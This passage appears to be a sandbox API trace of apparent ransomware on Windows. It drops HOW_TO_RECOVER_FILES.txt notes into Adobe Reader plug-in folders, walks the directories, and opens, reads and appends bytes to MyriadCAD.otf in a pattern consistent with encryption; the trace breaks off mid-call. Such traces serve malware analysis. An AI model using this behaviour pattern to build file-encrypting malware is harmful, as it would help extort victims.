(lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pi_brokers\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0108.208] GetFileType (hFile=0x20c) returned 0x1 [0108.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6c0) returned 1 [0108.208] GetFileType (hFile=0x20c) returned 0x1 [0108.209] WriteFile (in: hFile=0x20c, lpBuffer=0x35df9c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35b818, lpOverlapped=0x0 | out: lpBuffer=0x35df9c0*, lpNumberOfBytesWritten=0x1f35b818*=0x5d0, lpOverlapped=0x0) returned 1 [0108.210] CloseHandle (hObject=0x20c) returned 1 [0108.210] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35bc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x57 [0108.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c180) returned 1 [0108.210] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0108.211] GetFileType (hFile=0x20c) returned 0x1 [0108.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c0f0) returned 1 [0108.211] GetFileType (hFile=0x20c) returned 0x1 [0108.212] WriteFile (in: hFile=0x20c, lpBuffer=0x35e3268*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35c248, lpOverlapped=0x0 | out: lpBuffer=0x35e3268*, lpNumberOfBytesWritten=0x1f35c248*=0x5d0, lpOverlapped=0x0) returned 1 [0108.213] CloseHandle (hObject=0x20c) returned 1 [0108.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0108.213] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d", lpFilePart=0x0) returned 0x40 [0108.213] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0108.215] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.215] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb25160, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xa55f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2d.x3d", cAlternateFileName="")) returned 1 [0108.215] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb4b3cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3c3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3difr.x3d", cAlternateFileName="")) returned 1 [0108.216] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb71615, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xc3ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvDX9.x3d", cAlternateFileName="")) returned 1 [0108.216] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfafef26, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvSOFT.x3d", cAlternateFileName="")) returned 1 [0108.216] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prc", cAlternateFileName="")) returned 1 [0108.216] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfbe3d1f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2437f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prcr.x3d", cAlternateFileName="")) returned 1 [0108.216] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x5df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 1 [0108.216] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0108.216] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0108.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0108.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0108.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0108.217] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d", lpFilePart=0x0) returned 0x40 [0108.217] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0108.218] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.218] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb25160, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xa55f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2d.x3d", cAlternateFileName="")) returned 1 [0108.218] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb4b3cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3c3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3difr.x3d", cAlternateFileName="")) returned 1 [0108.218] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb71615, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xc3ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvDX9.x3d", cAlternateFileName="")) returned 1 [0108.219] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfafef26, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvSOFT.x3d", cAlternateFileName="")) returned 1 [0108.219] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prc", cAlternateFileName="")) returned 1 [0108.219] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfbe3d1f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2437f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prcr.x3d", cAlternateFileName="")) returned 1 [0108.219] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x5df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 1 [0108.219] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x5df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 0 [0108.219] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0108.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0108.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0108.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0108.221] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc", lpFilePart=0x0) returned 0x44 [0108.221] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0108.222] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.222] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1 [0108.222] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0108.222] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0108.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0108.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0108.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0108.222] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc", lpFilePart=0x0) returned 0x44 [0108.222] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0108.222] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.223] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1 [0108.223] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 0 [0108.223] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0108.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0108.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0108.223] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf", lpFilePart=0x0) returned 0x52 [0108.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b590) returned 1 [0108.223] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\prc\\myriadcad.otf"), fInfoLevelId=0x0, lpFileInformation=0x3602130 | out: lpFileInformation=0x3602130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x131c4)) returned 1 [0108.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b550) returned 1 [0108.224] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf", lpFilePart=0x0) returned 0x52 [0108.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0108.224] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\prc\\myriadcad.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0108.224] GetFileType (hFile=0x20c) returned 0x1 [0108.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0108.224] GetFileType (hFile=0x20c) returned 0x1 [0108.224] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35b5e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35b5e8*=0) returned 0x1000 [0108.224] ReadFile (in: hFile=0x20c, lpBuffer=0x3602578, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35b5b8, lpOverlapped=0x0 | out: lpBuffer=0x3602578*, lpNumberOfBytesRead=0x1f35b5b8*=0x1000, lpOverlapped=0x0) returned 1 [0108.226] CloseHandle (hObject=0x20c) returned 1 [0108.226] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf", lpFilePart=0x0) returned 0x52 [0108.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0108.226] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\prc\\myriadcad.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0108.226] GetFileType (hFile=0x20c) returned 0x1 [0108.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0108.226] GetFileType (hFile=0x20c) returned 0x1 [0108.226] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35b5e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35b5e8*=0) returned 0x131c4 [0108.226] WriteFile (in: hFile=0x20c, lpBuffer=0x3603828*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35b4d8, lpOverlapped=0x0 | out: lpBuffer=0x3603828*, lpNumberOfBytesWritten=0x1f35b4d8*=0x10, lpOverlapped=0x0) returned 1 [0108.227] CloseHandle (hObject=0x20c) returned 1 [0108.227] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf", lpFilePart=0x0) returned 0x52 [0108.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0108.227] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\prc\\myriadcad.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0108.227] GetFileType (hFile=0x20c) returned 0x1 [0108.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0108.227] GetFileType (hFile=0x20c) returned 0x1 [0108.227] ReadFile (in: hFile=0x20c, lpBuffer=0x3605b00, nNumberOfBytesToRead=0x1000, 